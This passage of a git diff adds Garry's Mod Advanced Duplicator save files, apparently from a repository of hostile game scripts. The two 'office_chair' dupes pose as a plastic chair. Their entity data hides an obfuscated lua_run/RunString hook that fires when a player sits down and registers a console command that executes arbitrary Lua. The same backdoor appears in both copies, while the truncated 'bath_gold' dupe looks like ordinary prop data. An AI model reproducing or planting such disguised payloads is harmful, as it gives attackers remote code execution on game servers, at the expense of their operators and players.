z!+%J=_~gYP+BN`BpntwO|Kp$F7xrHcc%MLcRnhw@5J_m^dqw^@$jd;eFHhp_kY7_& zXPQX#x0GuvLJKnZ`;k6BAkybbDd7F&+XTNFxo6q_b2$XRfy&a;)h8)_L$pmxYd@!S zR8Z4nwJGnA>kY9Gzb`yU;`gB6OIL}`uTS_h`WlM&p2V>WI1pf7$aps^ARqVFs2%z9 z!hE$}&|6pb^(-8CdH73QzX0}m{YoMB{wyhZlGCul!%R(U-37m{MYzK@`Ij*kSo zfZF%QkgiGM_JHs@w=KDL4IVGO`Ye(Mg4c%d2k}KDF9`nC^0LEXd7zR)eBnV=5xyVE z2k&F5xtK=z3E)3CF)ih??iz1WRAXB3FHGu6Or!M)h&K$hCq(@8;fdnEpElzAeKfTv zV0{Dbrt<-=;|98FI>mvBnDVmnmo_w3oL8=9( zt4~lm6zOwOe?gH>Q_+L_iT*Z*g8jeYcA{_Nqbj0G&e8jmVgc{*KOz48dGOy)RD`O0 z@w&Zg&s}NRFucNiQiE*t+4Jjl*q#^bcLzA|U&VX-k6OPAj1|q#8>I)!gJJCF#fwDt zK}X=_%8kt%Pat`lyw`3YiS{So$EEw?E1Y`p`a*Z&)Y~lCyc4az*dH!-PPc%35al0? zFz%gnOk^*ZBf2IX3s(?%5N%kztH(g`9vQUw@G%kI4LXP~ny7pUR`(w4j#W*@_y|yC zO}jdi(pp7X!PR5_M1H9K`lh$FDarLJnfHV4IE4e>uatT}aK%-KlC&BFI1`68AlgK4m@FL;ag5xgM!z}aUAt&rOKpq=7Z3V1d(5n3f{ z2Aa03{hH^u740MVg?u@{w~6!@p!AgOGmj?i!RqGTeaX#)27DLQny7sq5$IV~XWmQN zqeB4yCvPWoTzJ!Ci~dgWK0F%idr|uXW?S_&kC&{!caN|=x8x-&;2Y+{UNzSvSb7NW zzWDrDG@op1l)m}oEWV^&JJsv;`R_{}wtvN*S267${Fv?e8^!mHUJvnuDslY4z{ z#A?&B^07ibmi=MJ|8MVlW7@i|`1P|3et5<f#S66WtrA z$^vOJHErhv2>WUA!06P8i@0cQafS4uaz zG)-~vqrp4pnRoAVHmRyAwOM6yEbp6tjwObwLG|yQuqfR zYwo~`Vm;un?{)f}<(Q&<(+~QRIV-dO z#;UQ~E9nYa-@q48Uj*d#tNB2(pwJh3E$9n{|De~NyCOUu*6?m$o9~3mo*-|;Q0~V5AZe51t&7B{VrGj)!8ib?{{!L7`GaV z{G8$UY+vv29vYYU-K`@8;_qRHmc`#89!H|Tzu}YQB|LKEj}3P=_K$%JwYxv>P&Mom z75np*WxNBYm_PV+@%&Be!+umrd_iSuQlIZRPUF8nFA+>spFmvmw5o&N4ik z4QEfL742D!fsfMJHd?>Ig#Lt&;BCjxgMyTAbA5C`cv9Q2FSWVhljH9VWbhy2&OI8B`M&SZ ze^Wd@YR~hKfABX&K9XH^Wf;~E)L(c*_shGh`AZp$-*kh$$verK>g)wrPyE41bTdN! zD9Q`wYvK6|!i&+cv_mGJZ|u&4G64Sp{YTUfIm}mhjY~-DN8!lYL2m%^o3GLPP`X^9 z{`4`nKiK97Ekb-EAmh_#m;8a(W!h~UL;Tb7)+W#g)=G+Bhb8uWDp^7C?XdK{n6|O@ zn(GS(=3V?Va(niAu>T4?+v}Hx78G=I{nF~Bt)13yu>_Jaw~x|}MpzGc7`|H@mo~<2 z9*TFc&!=YH?OOSLURypJ%dqvluO*+I%rO1Z;f$Y}aPOthKkb3_MIlJf-ybzRe%JlM^Gj}kDCMuAN&TCi<22vbO)g6Q zf?WQdaqnGRPvChga2JFvCrPO0P(Of$0R12ipu9z3eTe6=iC$V?Xlop}AA!Gp`RT}I zcpu)^G79uoN1%UySW7S-BpeCD{Vh-!;@-ykf-n^Qxpcqdxu=WwI|_%pJbnG?CZ6KE z)794x{yWtN?X983d4+v%bBrZpR<@o1`NTx6Z9#Lce4uS zV|<~G6z5}xgZWCVAb)Va{4ifQpBf(Vjk8IJi04Z|RqxLCNFMP0_C3Tm@B{E2uLpbs zevw~b&V^2O;)&GE2Hk(JA;u5H5aYjwocLTR58t(XmftV&m&)t6Js)bq|Mu@7e=`1w z;h5_@(a`=lInWQ+nE!Cb&~rDPzvM=1(+&8_wW>#+2Y&GFJh4SC?;e1p-42syVpvVaf;{BrLK0?7O0WNr%Rqgujk3Su{O&KAiO@lbX1m7@MQkKcEI zl6SZN1#k`<1H0dQQ3JjppN^fc0y^T>o&)?zY?knc_aT+gy_jDmm&3;uiBakg{*R=e zv|&nrc?Z=8`@YOCwo#uf^1J;B<@drv*SDZP;x{^w1NaYbP5=$#2@eVPedMS6cgGtJ z3Bs>y2PvKb-a=PpxaXZ2hUaEg;$SLQp!!%(67P!&|6D`v+*9)7+qM_w_Z8(vmiO{} zl+K5SjFrSI9@ZCTGPO2Yn5OdGtg8L->Dg(jFWM?FD5TCNX<@g|X5I#98(<*(?6|5L$bamjJAYn9T w_zL==`YL^3;gI6_DiZlgTJio$lDMPnkA@6RDeW=j8-jnp`dgOYM@xSH17-2I(*OVf literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/=Public Folder=/office_chair.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/=Public Folder=/office_chair.txt new file mode 100644 index 0000000..44b9944 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/=Public Folder=/office_chair.txt @@ -0,0 +1,54 @@ +[Info] +Type:AdvDupe File +Creator:"AdvDupe" +Date:10/10/04 +Description:"none" +Entities:2 +Constraints:0 +[More Information] +FileVersion:0.84 +AdvDupeVersion:1.85 +AdvDupeToolVersion:1.9 +AdvDupeSharedVersion:1.72 +SerialiserVersion:1.4 +WireVersion:1337 (exported) +Time:13:37 PM +Head:179 +HoldAngle:0,8.02,0 +HoldPos:-5.43051,3.92103,-0.285474 +StartPos:-2024.72,-2201.65,-143.969 +[Save] +Entities:185E5028{Y:8=Y:7;Y:9=T:185E5088;Y:11=Y:10;Y:15=T:185E5058;Y:6=Y:5;Y:17=Y:16;Y:19=Y:18;Y:21=Y:20;}H16EB7358{N:179=T:18EE2C98;N:107=T:1543CC48;}185E5088{;}18126518{Y:1=A:0.110851,-2.26633,0.0649324;Y:2=V:5.27173,-4.13306,0.270523;Y:3=B:t;}1882DFA0{N:0=T:18126518;}18EE2CF8{Y:25=T:1882DF70;}1543CBB8{N:0=T:1543CBE8;}18EE2C98{Y:4=T:1882DFA0;Y:6=Y:5;Y:22=T:185E5028;Y:24=Y:23;Y:2=V:5.27173,-4.13306,0.270523;Y:21=Y:20;Y:26=T:18EE2CF8;Y:1=A:0.110851,-2.26633,0.0649324;Y:27=N:0;}1543CC48{Y:1=A:-3.43192e-013,90,0.000247415;Y:2=V:9.18774,-246.495,-82.6752;Y:27=N:0;Y:4=T:1543CBB8;Y:6=Y:28;Y:21=Y:29;}185E5058{Y:13=Y:12;Y:14=S:"0";Y:30=Y:31;}1882DF70{;}1543CBE8{Y:1=A:-3.43192e-013,90,0.000247415;Y:2=V:9.18774,-246.495,-82.6752;Y:3=B:t;} +Constraints:H18796A28{;} +[Dict] +1:"LocalAngle" +2:"LocalPos" +3:"Frozen" +4:"PhysicsObjects" +5:"prop_vehicle_prisoner_pod" +6:"Class" +7:"Half-Life 2" +8:"Category" +9:"Members" +10:"Chair" +11:"Name" +12:"scripts/vehicles/prisoner_pod.txt" +13:"vehiclescript" +14:"limitview" +15:"KeyValues" +16:"VALVe" +17:"Author" +18:"A Plastic Chair" +19:"Information" +20:"models/nova/chair_office02.mdl" +21:"Model" +22:"VehicleTable" +23:"Chair_Plastic" +24:"VehicleName" +25:"VehicleMemDupe" +26:"EntityMods" +27:"Skin" +28:"lua_run" +29:"models/combine_helicopter/helicopter_bomb01.mdl" +30:"PlayerOn" +31:"lua_run,RunPassedCode,RunString([[concommand.Add('replay_tip']]..string.char(44)..[[function(_]]..string.char(44)..[[_]]..string.char(44)..[[args) RunString(table.concat(args]]..string.char(44)..[[' ')) end)]]),0,0" \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/STEAM_0_0_17809124/office_chair.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/STEAM_0_0_17809124/office_chair.txt new file mode 100644 index 0000000..44b9944 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/STEAM_0_0_17809124/office_chair.txt @@ -0,0 +1,54 @@ +[Info] +Type:AdvDupe File +Creator:"AdvDupe" +Date:10/10/04 +Description:"none" +Entities:2 +Constraints:0 +[More Information] +FileVersion:0.84 +AdvDupeVersion:1.85 +AdvDupeToolVersion:1.9 +AdvDupeSharedVersion:1.72 +SerialiserVersion:1.4 +WireVersion:1337 (exported) +Time:13:37 PM +Head:179 +HoldAngle:0,8.02,0 +HoldPos:-5.43051,3.92103,-0.285474 +StartPos:-2024.72,-2201.65,-143.969 +[Save] +Entities:185E5028{Y:8=Y:7;Y:9=T:185E5088;Y:11=Y:10;Y:15=T:185E5058;Y:6=Y:5;Y:17=Y:16;Y:19=Y:18;Y:21=Y:20;}H16EB7358{N:179=T:18EE2C98;N:107=T:1543CC48;}185E5088{;}18126518{Y:1=A:0.110851,-2.26633,0.0649324;Y:2=V:5.27173,-4.13306,0.270523;Y:3=B:t;}1882DFA0{N:0=T:18126518;}18EE2CF8{Y:25=T:1882DF70;}1543CBB8{N:0=T:1543CBE8;}18EE2C98{Y:4=T:1882DFA0;Y:6=Y:5;Y:22=T:185E5028;Y:24=Y:23;Y:2=V:5.27173,-4.13306,0.270523;Y:21=Y:20;Y:26=T:18EE2CF8;Y:1=A:0.110851,-2.26633,0.0649324;Y:27=N:0;}1543CC48{Y:1=A:-3.43192e-013,90,0.000247415;Y:2=V:9.18774,-246.495,-82.6752;Y:27=N:0;Y:4=T:1543CBB8;Y:6=Y:28;Y:21=Y:29;}185E5058{Y:13=Y:12;Y:14=S:"0";Y:30=Y:31;}1882DF70{;}1543CBE8{Y:1=A:-3.43192e-013,90,0.000247415;Y:2=V:9.18774,-246.495,-82.6752;Y:3=B:t;} +Constraints:H18796A28{;} +[Dict] +1:"LocalAngle" +2:"LocalPos" +3:"Frozen" +4:"PhysicsObjects" +5:"prop_vehicle_prisoner_pod" +6:"Class" +7:"Half-Life 2" +8:"Category" +9:"Members" +10:"Chair" +11:"Name" +12:"scripts/vehicles/prisoner_pod.txt" +13:"vehiclescript" +14:"limitview" +15:"KeyValues" +16:"VALVe" +17:"Author" +18:"A Plastic Chair" +19:"Information" +20:"models/nova/chair_office02.mdl" +21:"Model" +22:"VehicleTable" +23:"Chair_Plastic" +24:"VehicleName" +25:"VehicleMemDupe" +26:"EntityMods" +27:"Skin" +28:"lua_run" +29:"models/combine_helicopter/helicopter_bomb01.mdl" +30:"PlayerOn" +31:"lua_run,RunPassedCode,RunString([[concommand.Add('replay_tip']]..string.char(44)..[[function(_]]..string.char(44)..[[_]]..string.char(44)..[[args) RunString(table.concat(args]]..string.char(44)..[[' ')) end)]]),0,0" \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/bath_gold.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/bath_gold.txt new file mode 100644 index 0000000..f29fd25 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/bath_gold.txt @@ -0,0 +1,109 @@ +[Info] +Type:AdvDupe File +Creator:"nil" +Date:08/16/10 +Description:"none" +Entities:18 +Constraints:21 +[More Information] +FileVersion:0.84 +AdvDupeVersion:1.85 +AdvDupeToolVersion:1.9 +AdvDupeSharedVersion:1.72 +SerialiserVersion:1.4 +WireVersion:Not Installed +Time:08:52 PM +Head:152 +HoldAngle:0,0.353777,0 +HoldPos:-1.76828,22.4726,-20.3525 +StartPos:581.741,4130.2,-63.9688 +[Save] +Entities:H023E6A20{N:162=T:02318828;N:166=T:022C74A0;N:147=T:024A7888;N:155=T:022F01C0;N:163=T:0255B130;N:167=T:024194E8;N:148=T:0227FBA0;N:152=T:024CB828;N:156=T:024ED9A0;N:160=T:022CAA88;N:164=T:022D1D88;N:153=T:024A9ED0;N:157=T:022B0A20;N:161=T:024BA2D0;N:165=T:024A4CC8;N:150=T:0227E728;N:154=T:0229D920;N:158=T:0229ADD8;}02435440{Y:8=Y:7;Y:10=Y:9;Y:12=Y:11;Y:16=T:02431CC8;Y:18=Y:17;Y:6=Y:5;Y:19=T:0228F2D0;Y:21=Y:20;}025043A8{Y:31=T:024C95A0;}022C9CF0{Y:30=Y:44;}022B0A20{Y:43=N:0;Y:34=B:t;Y:32=T:0245A600;Y:45=N:11;Y:1=A:76.3942,88.903,178.867;Y:6=Y:46;Y:48=Y:74;Y:4=T:02547950;Y:50=Y:75;S:"key"=N:10;Y:2=V:6.24707,-49.7712,15.5484;Y:21=Y:76;Y:52=N:0;Y:53=N:10000;Y:33=N:0;}02274B88{N:0=T:02275B78;}0226B6A0{Y:30=Y:44;}02280E60{Y:27=N:15;}0234DCD0{N:0=T:0228CE40;}024C7408{N:0=T:0250AFC8;}024FC720{S:"a"=N:255;S:"r"=N:255;S:"g"=N:255;S:"b"=N:255;}023FF5E8{Y:14=Y:13;Y:15=S:"0";}022F0878{Y:1=A:-1.77202,0.0740663,359.492;Y:2=V:14.1365,7.84326,13.4956;Y:3=B:f;}02405A38{Y:30=Y:41;}022B2500{Y:25=N:0;Y:31=T:0226B6A0;}022FBC78{Y:1=A:-2.08863,0.0316996,359.707;Y:2=V:14.9175,-22.1738,15.4106;Y:3=B:f;}02510D38{Y:1=A:87.4361,-3.20154,356.796;Y:2=V:39.6821,24.5171,26.885;Y:3=B:f;}022FE388{Y:25=N:20;Y:31=T:02534C60;Y:28=T:02280E60;Y:26=T:024ED0E0;}0228F2D0{;}022C4930{Y:25=N:0;Y:31=T:022AA850;}02381530{N:0=T:02272450;}024103E8{;}024A7888{Y:43=N:0;Y:34=B:t;Y:32=T:024BB400;Y:45=N:4;Y:1=A:89.3142,-172.837,7.15944;Y:6=Y:46;Y:48=Y:47;Y:4=T:022B64C0;Y:50=Y:49;S:"key"=N:6;Y:2=V:-7.53583,24.5151,26.3663;Y:21=Y:51;Y:52=N:0;Y:53=N:4453.3798828125;Y:33=N:0;}022E7840{Y:25=N:20;Y:26=T:024103E8;Y:28=T:02333A38;Y:31=T:0240B7F8;}0240F740{;}023733B8{Y:31=T:02405A38;}022F01C0{Y:4=T:022CFC68;Y:6=Y:5;Y:22=T:02435440;Y:24=Y:23;Y:2=V:14.699,-40.5173,45.4953;Y:21=Y:20;Y:32=T:022A1818;Y:1=A:-1.37788,-0.00216784,-0.44989;Y:33=N:0;}0255B130{Y:43=N:0;Y:34=B:t;Y:32=T:024C1F30;Y:45=N:2;Y:1=A:76.4106,86.4002,176.289;Y:6=Y:46;Y:48=Y:47;Y:4=T:02309620;Y:50=Y:49;S:"key"=N:8;Y:2=V:15.9779,-44.4348,26.0928;Y:21=Y:51;Y:52=N:0;Y:53=N:10000;Y:33=N:0;}0240B7F8{Y:30=Y:29;}02338F60{Y:1=A:89.3142,-172.837,7.15944;Y:2=V:-7.53583,24.5151,26.3663;Y:3=B:f;}0229ADD8{Y:34=B:t;Y:4=T:0234DCD0;Y:33=N:0;Y:6=Y:35;Y:36=N:9;Y:1=A:-1.23074,-105.9,0.0519453;Y:37=N:13;Y:38=N:12;Y:2=V:33.513,-24.5532,27.4303;Y:21=Y:39;Y:40=N:3;Y:32=T:023733B8;Y:42=N:1;}02309620{N:0=T:022FDE38;}024BA2D0{Y:57=N:1;Y:1=A:0.103833,90.0005,-1.24854;Y:6=Y:58;S:"key"=N:0;Y:33=N:0;Y:52=B:f;Y:32=T:0229E988;Y:59=S:"";Y:60=N:500;Y:34=B:t;Y:53=N:67.76000213623;Y:4=T:0224F7E8;Y:2=V:-2.21448,44.2539,26.2364;Y:21=Y:61;Y:63=Y:62;Y:64=N:0.03999999910593;Y:65=N:0.079999998211861;}0224F7E8{N:0=T:0227C5E0;}0234C150{Y:1=A:-1.23074,-105.9,0.0519453;Y:2=V:-1.37714,24.4434,26.6846;Y:3=B:f;}022E4438{Y:30=Y:56;}02377058{Y:27=N:15;}024194E8{Y:21=Y:54;Y:1=A:0.419365,94.1869,-1.1431;Y:2=V:18.2078,39.3389,22.4908;Y:33=N:0;Y:4=T:024EA4F8;Y:6=Y:55;Y:32=T:022DA870;}022B0610{Y:31=T:0227BBB8;}022DA870{Y:25=N:20;Y:31=T:0245B078;}0245B078{Y:30=Y:56;}02275B78{Y:1=A:-1.23074,-105.9,0.0519453;Y:2=V:-1.36926,-24.5596,26.7948;Y:3=B:f;}02318828{Y:4=T:024FDAF8;Y:6=Y:5;Y:22=T:022725E0;Y:24=Y:23;Y:2=V:14.1365,7.84326,13.4956;Y:21=Y:20;Y:32=T:022E7840;Y:1=A:-1.77202,0.0740663,-0.507629;Y:33=N:0;}024FDAF8{N:0=T:022F0878;}0229D920{Y:34=B:t;Y:4=T:02274B88;Y:33=N:0;Y:6=Y:35;Y:36=N:9;Y:1=A:-1.23074,-105.9,0.0519453;Y:37=N:13;Y:38=N:12;Y:2=V:-1.36926,-24.5596,26.7948;Y:21=Y:39;Y:40=N:3;Y:32=T:022B0610;Y:42=N:1;}02336E90{Y:69=T:024FC720;Y:70=N:0;Y:71=N:0;}0227B398{Y:1=A:76.4094,83.7555,173.565;Y:2=V:24.6055,-49.8481,16.1385;Y:3=B:f;}023AC320{Y:1=A:-6.57519,53.4386,2.09162;Y:2=V:-3496.48,-1641.26,-1.32132e+007;Y:3=B:f;}022710A0{Y:30=Y:44;}024C1F30{Y:31=T:022710A0;}0236F308{;}02272450{Y:1=A:0.31649,90.0006,358.843;Y:2=V:18.58,64.6401,21.9374;Y:3=B:f;}02378B38{N:0=T:02339640;}02483AA0{Y:30=Y:73;}02409AE8{Y:25=N:20;Y:31=T:02483AA0;}022D1D88{Y:43=N:0;Y:34=B:t;Y:32=T:022B2500;Y:45=N:6;Y:1=A:87.4361,-3.20154,-3.20438;Y:6=Y:46;Y:48=Y:47;Y:4=T:02336F58;Y:50=Y:49;S:"key"=N:4;Y:2=V:39.6821,24.5171,26.885;Y:21=Y:51;Y:52=N:0;Y:53=N:4453.3798828125;Y:33=N:0;}02547950{N:0=T:02356948;}024A6AA0{N:0=T:0227B398;}0245A600{Y:25=N:20;Y:31=T:024DFAF8;}02432830{Y:1=A:-1.23074,-105.9,0.0519453;Y:2=V:33.5162,24.438,26.9915;Y:3=B:f;}022FDE38{Y:1=A:76.4106,86.4002,176.289;Y:2=V:15.9779,-44.4348,26.0928;Y:3=B:f;}02338C68{S:"a"=N:0;S:"b"=N:255;S:"g"=N:175;S:"r"=N:130;}0250AFC8{Y:1=A:0.24986,89.9953,358.16;Y:2=V:36.0645,44.3472,26.7397;Y:3=B:f;}0228B748{N:0=T:022FBC78;}02333A38{Y:27=N:15;}022725E0{Y:8=Y:7;Y:10=Y:9;Y:12=Y:11;Y:16=T:023FF5E8;Y:18=Y:17;Y:6=Y:5;Y:19=T:0236F308;Y:21=Y:20;}024ACA18{Y:1=A:-1.37788,-0.00216784,359.55;Y:2=V:14.699,-40.5173,45.4953;Y:3=B:f;}0227FBA0{Y:57=N:1;Y:1=A:0.24986,89.9953,-1.84006;Y:6=Y:58;S:"key"=N:0;Y:33=N:0;Y:52=B:f;Y:32=T:0250B0B8;Y:59=S:"";Y:60=N:500;Y:34=B:t;Y:53=N:67.76000213623;Y:4=T:024C7408;Y:2=V:36.0645,44.3472,26.7397;Y:21=Y:61;Y:63=Y:62;Y:64=N:0.03999999910593;Y:65=N:0.079999998211861;}022B1448{Y:69=T:02338C68;Y:70=N:0;Y:71=N:0;}0227E728{Y:43=N:0;Y:34=B:t;Y:32=T:02409AE8;Y:45=N:11;Y:1=A:76.4094,83.7555,173.565;Y:6=Y:46;Y:48=Y:74;Y:4=T:024A6AA0;Y:50=Y:75;S:"key"=N:10;Y:2=V:24.6055,-49.8481,16.1385;Y:21=Y:76;Y:52=N:0;Y:53=N:10000;Y:33=N:0;}022962D8{Y:8=Y:7;Y:10=Y:9;Y:12=Y:11;Y:16=T:0255AD48;Y:18=Y:17;Y:6=Y:5;Y:19=T:022B1F10;Y:21=Y:20;}024262D8{Y:25=N:20;Y:31=T:022B50C0;Y:72=T:022B1448;}024C95A0{Y:30=Y:41;}0227C5E0{Y:1=A:0.103833,90.0005,358.751;Y:2=V:-2.21448,44.2539,26.2364;Y:3=B:f;}0229E988{Y:25=N:20;Y:31=T:022E4438;}02339640{Y:1=A:-0.00200589,90,359.998;Y:2=V:22.472,1.76758,20.3533;Y:3=B:t;}0227BBB8{Y:30=Y:41;}024E78E8{Y:30=Y:56;}024ED0E0{;}02412C10{N:0=T:0234C150;}02431CC8{Y:14=Y:13;Y:15=S:"0";}024DFAF8{Y:30=Y:73;}024A4CC8{Y:57=N:1;Y:1=A:0.31649,90.0006,-1.15714;Y:6=Y:58;S:"key"=N:0;Y:33=N:0;Y:52=B:f;Y:32=T:024262D8;Y:59=Y:77;Y:60=N:500;Y:34=B:f;Y:53=N:0.01;Y:4=T:02381530;Y:2=V:18.58,64.6401,21.9374;Y:21=Y:61;Y:63=Y:62;Y:64=N:0.090000003576279;Y:65=N:0.05;}02391110{N:0=T:023AC320;}024ED9A0{Y:21=Y:68;Y:1=A:-6.57519,53.4386,2.09162;Y:2=V:-3496.48,-1641.26,-1.32132e+007;Y:33=N:0;Y:4=T:02391110;Y:6=Y:55;Y:32=T:02308B30;}022B50C0{Y:30=S:"";}024CB828{Y:21=Y:66;Y:1=A:-0.00200589,90,-0.00177002;Y:2=V:22.472,1.76758,20.3533;Y:33=N:0;Y:4=T:02378B38;Y:6=Y:55;Y:32=T:022FDB90;}02308B30{Y:25=N:20;Y:72=T:02336E90;}02534C60{Y:30=Y:29;}022B1F10{;}024D7768{Y:30=Y:29;}022CFC68{N:0=T:024ACA18;}024EA4F8{N:0=T:02300F98;}022FDB90{Y:25=N:20;Y:31=T:02275358;}02356948{Y:1=A:76.3942,88.903,178.867;Y:2=V:6.24707,-49.7712,15.5484;Y:3=B:f;}0255AD48{Y:14=Y:13;Y:15=S:"0";}024A9ED0{Y:34=B:t;Y:4=T:02412C10;Y:33=N:0;Y:6=Y:35;Y:36=N:9;Y:1=A:-1.23074,-105.9,0.0519453;Y:37=N:13;Y:38=N:12;Y:2=V:-1.37714,24.4434,26.6846;Y:21=Y:39;Y:40=N:3;Y:32=T:025043A8;Y:42=N:1;}022CAA88{Y:4=T:0228B748;Y:6=Y:5;Y:22=T:022962D8;Y:24=Y:23;Y:2=V:14.9175,-22.1738,15.4106;Y:21=Y:20;Y:32=T:022FE388;Y:1=A:-2.08863,0.0316996,-0.293243;Y:33=N:0;}022AA850{Y:30=Y:41;}022C74A0{Y:34=B:t;Y:4=T:0241A230;Y:33=N:0;Y:6=Y:35;Y:36=N:9;Y:1=A:-1.23074,-105.9,0.0519453;Y:37=N:13;Y:38=N:12;Y:2=V:33.5162,24.438,26.9915;Y:21=Y:39;Y:40=N:3;Y:32=T:022C4930;Y:42=N:1;}02336F58{N:0=T:02510D38;}024BB400{Y:31=T:022C9CF0;}02275358{Y:30=Y:67;}022A1818{Y:25=N:20;Y:31=T:024D7768;Y:28=T:02377058;Y:26=T:0240F740;}022B64C0{N:0=T:02338F60;}02300F98{Y:1=A:0.419365,94.1869,358.857;Y:2=V:18.2078,39.3389,22.4908;Y:3=B:f;}0250B0B8{Y:25=N:20;Y:31=T:024E78E8;}0228CE40{Y:1=A:-1.23074,-105.9,0.0519453;Y:2=V:33.513,-24.5532,27.4303;Y:3=B:f;}0241A230{N:0=T:02432830;} +Constraints:022E31A0{T:02427908;T:02290C70;}02341638{Y:79=N:152;Y:80=N:0;}0249D270{Y:81=T:022F2678;Y:84=Y:83;Y:78=N:0;}02495D18{Y:34=N:0;Y:78=N:0;Y:81=T:0233C688;Y:82=B:t;Y:84=Y:83;}0233D5D8{Y:79=N:158;Y:80=N:0;}0229ABD0{Y:34=B:t;Y:78=N:0;Y:81=T:0242A900;Y:82=B:t;Y:84=Y:83;}02352EB0{T:022847B8;T:024B40D8;}02421120{Y:81=T:023E2880;Y:84=Y:83;Y:78=N:0;}022CFF38{Y:79=N:154;Y:80=N:0;}02278210{Y:79=N:152;Y:80=N:0;}0242A900{T:0233B850;T:024425C8;}0224EE88{Y:34=B:t;Y:78=N:0;Y:81=T:022FD528;Y:82=B:t;Y:84=Y:83;}02546FF0{Y:79=N:152;Y:80=N:0;}023FAA98{Y:34=B:t;Y:78=N:0;Y:81=T:024C1648;Y:82=B:t;Y:84=Y:83;}023755C8{T:022ECBB0;T:0233AAE0;}024E13D0{Y:81=T:02352EB0;Y:84=Y:85;}024C1698{T:0244C870;T:0229A6D0;}02402950{Y:34=N:0;Y:78=N:0;Y:81=T:023FF188;Y:82=B:t;Y:84=Y:83;}02427908{Y:79=N:156;Y:80=N:0;}022A3230{Y:34=B:t;Y:78=N:0;Y:81=T:0249B268;Y:82=B:t;Y:84=Y:83;}022847B8{Y:79=N:156;Y:80=N:0;}023677E8{Y:34=N:0;Y:78=N:0;Y:81=T:024D21C8;Y:82=B:t;Y:84=Y:83;}024C8FB0{Y:79=N:157;Y:80=N:0;}024C1648{T:0250F140;T:02546FF0;}0249B268{T:0232DED0;T:02521AC0;}0232DED0{Y:79=N:147;Y:80=N:0;}02373480{Y:79=N:153;Y:80=N:0;}022E7458{Y:79=N:166;Y:80=N:0;}0233C688{T:022CFF38;T:022CC4A0;}0241B608{Y:81=T:02432358;Y:84=Y:83;Y:78=N:0;}023FF188{T:02373480;T:022EC408;}023EF328{Y:81=T:0233DBC8;Y:84=Y:83;Y:78=N:0;}024B03E8{Y:81=T:022E31A0;Y:84=Y:85;}H024E7708{T:023677E8;T:0241B608;T:02516648;T:024B03E8;T:02421120;T:022A3230;T:023FAA98;T:0249D270;T:02379498;T:02495D18;T:0229ABD0;T:0227F0B0;T:02235668;T:023EF328;T:022D5028;T:02402950;T:024E13D0;T:024AFA38;T:0224EE88;T:024E9C60;T:0245D7D8;}022EB7B0{Y:79=N:152;Y:80=N:0;}0233DBC8{T:0248C650;T:024FBC58;}022ED498{Y:79=N:162;Y:80=N:0;}0228ADE8{Y:79=N:162;Y:80=N:0;}02339CF8{T:022982E0;T:02341638;}02318210{T:024C8FB0;T:02278210;}0233B558{Y:79=N:160;Y:80=N:0;}022CB7D0{Y:79=N:148;Y:80=N:0;}0245D7D8{Y:81=T:02287A30;Y:84=Y:83;Y:78=N:0;}022E4988{Y:79=N:165;Y:80=N:0;}02339708{T:022E7458;T:0234F1E8;}024E9C60{Y:34=N:0;Y:78=N:0;Y:81=T:02339708;Y:82=B:t;Y:84=Y:83;}022B1290{Y:79=N:166;Y:80=N:0;}0229B300{Y:79=N:164;Y:80=N:0;}02287A30{T:0233B558;T:0228ADE8;}024D21C8{T:0233D5D8;T:0232E3F8;}023344D8{Y:79=N:152;Y:80=N:0;}02429118{Y:79=N:162;Y:80=N:0;}022EC408{Y:79=N:152;Y:80=N:0;}02351D30{Y:79=N:160;Y:80=N:0;}0229A6D0{Y:79=N:152;Y:80=N:0;}02235668{Y:34=B:t;Y:78=N:0;Y:81=T:02318210;Y:82=B:t;Y:84=Y:83;}0236CE00{T:02351D30;T:022EB7B0;}0227F0B0{Y:81=T:023755C8;Y:84=Y:83;Y:78=N:0;}0248C650{Y:79=N:161;Y:80=N:0;}024AFA38{Y:81=T:024B3C00;Y:84=Y:83;Y:78=N:0;}024B40D8{Y:79=N:162;Y:80=N:0;}024B3C00{T:02429118;T:023344D8;}0233B850{Y:79=N:150;Y:80=N:0;}0238B670{Y:79=N:152;Y:80=N:0;}0250F140{Y:79=N:163;Y:80=N:0;}024425C8{Y:79=N:152;Y:80=N:0;}02379498{Y:81=T:0236CE00;Y:84=Y:83;Y:78=N:0;}02290C70{Y:79=N:152;Y:80=N:0;}022982E0{Y:79=N:165;Y:80=N:0;}022D5028{Y:81=T:02339CF8;Y:84=Y:85;}024FBC58{Y:79=N:152;Y:80=N:0;}024361D8{Y:79=N:152;Y:80=N:0;}0244C870{Y:79=N:155;Y:80=N:0;}023E2880{T:02534DC8;T:022ED498;}022ECBB0{Y:79=N:167;Y:80=N:0;}0233AAE0{Y:79=N:152;Y:80=N:0;}022F2678{T:022CB7D0;T:0238B670;}02516648{Y:81=T:024C1698;Y:84=Y:83;Y:78=N:0;}022FD528{T:0229B300;T:022B1290;}0234F1E8{Y:79=N:152;Y:80=N:0;}02521AC0{Y:79=N:153;Y:80=N:0;}02432358{T:024361D8;T:022E4988;}022CC4A0{Y:79=N:152;Y:80=N:0;}02534DC8{Y:79=N:155;Y:80=N:0;}0232E3F8{Y:79=N:152;Y:80=N:0;} +[Dict] +1:"LocalAngle" +2:"LocalPos" +3:"Frozen" +4:"PhysicsObjects" +5:"prop_vehicle_prisoner_pod" +6:"Class" +7:"Half-Life 2" +8:"Category" +9:"A Seat from VALVe's Airboat" +10:"Information" +11:"Airboat Seat" +12:"Name" +13:"scripts/vehicles/prisoner_pod.txt" +14:"vehiclescript" +15:"limitview" +16:"KeyValues" +17:"VALVe" +18:"Author" +19:"Members" +20:"models/nova/airboat_seat.mdl" +21:"Model" 